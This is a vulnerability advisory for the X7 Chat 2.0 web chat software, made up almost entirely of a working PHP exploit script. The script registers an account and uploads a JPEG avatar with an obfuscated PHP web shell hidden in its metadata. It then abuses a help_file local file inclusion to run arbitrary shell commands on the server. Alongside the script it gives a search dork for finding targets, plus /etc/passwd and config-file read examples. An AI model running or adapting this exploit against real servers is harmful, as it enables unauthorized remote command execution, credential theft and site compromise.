X7 Chat <=2.0 remote commands execution

2006.05.04
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 6.4/10
Impact Subscore: 4.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: None

#!/usr/bin/php -q -d short_open_tag=on <? echo "X7 Chat <=2.0 "help_file" arbitrary local inclusionrn"; echo "by rgod rgod (at) autistici (dot) org [email concealed]rn"; echo "site: http://retrogod.altervista.orgrn"; echo "-> works regardless of magic_quotes_gpc settingsrn"; echo " if avatar uploads are enabled (default)rn"; echo "dork: intitle:"X7 Chat Help Center" | "Powered By X7 Chat"rnrn"; if ($argc<4) { echo "Usage: php ".$argv[0]." host path cmd OPTIONSrn"; echo "host: target server (ip/hostname)rn"; echo "path: path to X7rn"; echo "cmd: a shell commandrn"; echo "Options:rn"; echo " -p[port]: specify a port other than 80rn"; echo " -P[ip:port]: specify a proxyrn"; echo "Examples:rn"; echo "php ".$argv[0]." localhost /X7/ cat ./../config.phprn"; echo "php ".$argv[0]." localhost /X7/ ls -la -p81rn"; echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80rn"; die; } /* software site: http://www.x7chat.com/ description: "X7 Chat is free, open source, software written in PHP" vulnerable code in help/index.php at lines 32-37: ... if(!isset($_GET['help_file']) || !@is_file("./{$_GET['help_file']}")){ $_GET['help_file'] = "main"; } // Load the help definitions include("./{$_GET['help_file']}"); ... so, you can view/include all files on target system, poc: http://[target]/[path]/help/index.php?help_file=../../../../../../etc/pa sswd this tool upload an avatar with php code as EXIF metadata content, then: http://[target]/[path]/help/index.php?help_file=../uploads/avatar_[usern ame].jpeg&cmd=ls%20-la */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";} } return $exa."rn".$result; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "rn".$html; } function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } $host=$argv[1]; $path=$argv[2]; $cmd="";$port=80;$proxy=""; for ($i=3; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } $cmd=urlencode($cmd); if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} srand(make_seed()); $v = rand(1,99); echo "step 1 -> register...rn"; $data="username=suntzu".$v; $data.="&pass1=suntzu"; $data.="&pass2=suntzu"; $data.="&email=suntzu".$v."@hotmail.com"; $packet ="POST ".$p."index.php?act=register&step=1 HTTP/1.0rn"; $packet.="Content-Type: application/x-www-form-urlencodedrn"; $packet.="Host: ".$host."rn"; $packet.="Content-Length: ".strlen($data)."rn"; $packet.="Connection: Closernrn"; $packet.=$data; #debug #echo quick_dump($packet); sendpacketii($packet); echo "step 2 -> login...rn"; $data="dologin=dologin"; $data.="&username=suntzu".$v; $data.="&password=suntzu"; $packet="POST ".$p."index.php HTTP/1.0rn"; $packet.="Content-Type: application/x-www-form-urlencodedrn"; $packet.="Host: ".$host."rn"; $packet.="Content-Length: ".strlen($data)."rn"; $packet.="Connection: Closernrn"; $packet.=$data; #debug #echo quick_dump($packet); sendpacketii($packet); $temp=explode("Set-Cookie: ",$html); $temp2=explode(" ",$temp[1]);$cookie=$temp2[0]; $temp2=explode(" ",$temp[2]);$cookie.=" ".$temp2[0]; if ($cookie=="") {die("Failed to login...rn");} echo "Cookie -> ".$cookie."rn"; echo "step 3 -> upload an avatar...rn"; $shell= chr(0xff).chr(0xd8).chr(0xff).chr(0xfe).chr(0x00).chr(0xcf).chr(0x3c).ch r(0x3f). chr(0x70).chr(0x68).chr(0x70).chr(0x0d).chr(0x0a).chr(0x69).chr(0x66).ch r(0x20). chr(0x28).chr(0x67).chr(0x65).chr(0x74).chr(0x5f).chr(0x6d).chr(0x61).ch r(0x67). chr(0x69).chr(0x63).chr(0x5f).chr(0x71).chr(0x75).chr(0x6f).chr(0x74).ch r(0x65). chr(0x73).chr(0x5f).chr(0x67).chr(0x70).chr(0x63).chr(0x28).chr(0x29).ch r(0x29). chr(0x7b).chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).ch r(0x49). chr(0x45).chr(0x5b).chr(0x27).chr(0x63).chr(0x6d).chr(0x64).chr(0x27).ch r(0x5d). chr(0x3d).chr(0x73).chr(0x74).chr(0x72).chr(0x69).chr(0x70).chr(0x73).ch r(0x6c). chr(0x61).chr(0x73).chr(0x68).chr(0x65).chr(0x73).chr(0x28).chr(0x24).ch r(0x5f). chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).chr(0x45).chr(0x5b).ch r(0x27). chr(0x63).chr(0x6d).chr(0x64).chr(0x27).chr(0x5d).chr(0x29).chr(0x3b).ch r(0x7d). chr(0x0d).chr(0x0a).chr(0x65).chr(0x72).chr(0x72).chr(0x6f).chr(0x72).ch r(0x5f). chr(0x72).chr(0x65).chr(0x70).chr(0x6f).chr(0x72).chr(0x74).chr(0x69).ch r(0x6e). chr(0x67).chr(0x28).chr(0x30).chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).ch r(0x69). chr(0x6e).chr(0x69).chr(0x5f).chr(0x73).chr(0x65).chr(0x74).chr(0x28).ch r(0x22). chr(0x6d).chr(0x61).chr(0x78).chr(0x5f).chr(0x65).chr(0x78).chr(0x65).ch r(0x63). chr(0x75).chr(0x74).chr(0x69).chr(0x6f).chr(0x6e).chr(0x5f).chr(0x74).ch r(0x69). chr(0x6d).chr(0x65).chr(0x22).chr(0x2c).chr(0x30).chr(0x29).chr(0x3b).ch r(0x0d). chr(0x0a).chr(0x65).chr(0x63).chr(0x68).chr(0x6f).chr(0x20).chr(0x22).ch r(0x35). chr(0x36).chr(0x37).chr(0x38).chr(0x39).chr(0x22).chr(0x3b).chr(0x0d).ch r(0x0a). chr(0x70).chr(0x61).chr(0x73).chr(0x73).chr(0x74).chr(0x68).chr(0x72).ch r(0x75). chr(0x28).chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).ch r(0x49). chr(0x45).chr(0x5b).chr(0x22).chr(0x63).chr(0x6d).chr(0x64).chr(0x22).ch r(0x5d). chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).chr(0x65).chr(0x63).chr(0x68).ch r(0x6f). chr(0x20).chr(0x22).chr(0x35).chr(0x36).chr(0x37).chr(0x38).chr(0x39).ch r(0x22). chr(0x3b).chr(0x0d).chr(0x0a).chr(0x64).chr(0x69).chr(0x65).chr(0x3b).ch r(0x0d). chr(0x0a).chr(0x3f).chr(0x3e).chr(0xff).chr(0xe0).chr(0x00).chr(0x10).ch r(0x4a). chr(0x46).chr(0x49).chr(0x46).chr(0x00).chr(0x01).chr(0x01).chr(0x01).ch r(0x00). chr(0x48).chr(0x00).chr(0x48).chr(0x00).chr(0x00).chr(0xff).chr(0xdb).ch r(0x00). chr(0x43).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0xff).chr(0xdb).chr(0x00).chr(0x43).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0xff). chr(0xc0).chr(0x00).chr(0x11).chr(0x08).chr(0x00).chr(0x01).chr(0x00).ch r(0x01). chr(0x03).chr(0x01).chr(0x11).chr(0x00).chr(0x02).chr(0x11).chr(0x01).ch r(0x03). chr(0x11).chr(0x01).chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x00).ch r(0x01). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch r(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch r(0x09). chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x10).chr(0x01).chr(0x00).ch r(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch r(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0xff).ch r(0xc4). chr(0x00).chr(0x14).chr(0x01).chr(0x01).chr(0x00).chr(0x00).chr(0x00).ch r(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch r(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x06).chr(0xff).chr(0xc4).chr(0x00).ch r(0x14). chr(0x11).chr(0x01).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch r(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch r(0x00). chr(0x00).chr(0x00).chr(0xff).chr(0xda).chr(0x00).chr(0x0c).chr(0x03).ch r(0x01). chr(0x00).chr(0x02).chr(0x11).chr(0x03).chr(0x11).chr(0x00).chr(0x3f).ch r(0x00). chr(0x3f).chr(0xc1).chr(0xc7).chr(0xdf).chr(0xff).chr(0xd9).chr(0x00).ch r(0x00); $data='-----------------------------7d63ba6e09fc Content-Disposition: form-data; name="MAX_FILE_SIZE" 5242880 -----------------------------7d63ba6e09fc Content-Disposition: form-data; name="avatar"; filename="whatever.jpg" Content-Type: image/jpeg '.$shell.' -----------------------------7d63ba6e09fc-- '; echo "step 4 -> launch commands...rn"; $packet="POST ".$p."index.php?act=usercp&cp_page=upload&uploaded=1 HTTP/1.0rn"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d63ba6e09fcrn"; $packet.="Host: ".$host."rn"; $packet.="Content-Length: ".strlen($data)."rn"; $packet.="Cookie: ".$cookie."rn"; $packet.="Connection: Closernrn"; $packet.=$data; #debug #echo quick_dump($packet); sendpacketii($packet); $path_to_shell=urlencode("../uploads/avatar_suntzu".$v.".jpeg"); $packet ="GET ".$p."help/index.php?help_file=".$path_to_shell." HTTP/1.0rn"; $packet.="User-Agent: Googlebot/2.1rn"; $packet.="Host: ".$host."rn"; $packet.="Cookie: cmd=".$cmd."rn"; $packet.="Connection: Closernrn"; #debug #echo quick_dump($packet); sendpacketii($packet); if (strstr($html,"56789")) { echo "Exploit succeeded...rnrn"; $temp=explode("56789",$html); echo $temp[1]; die; } //if you are here... echo "Exploit failed..."; ?>


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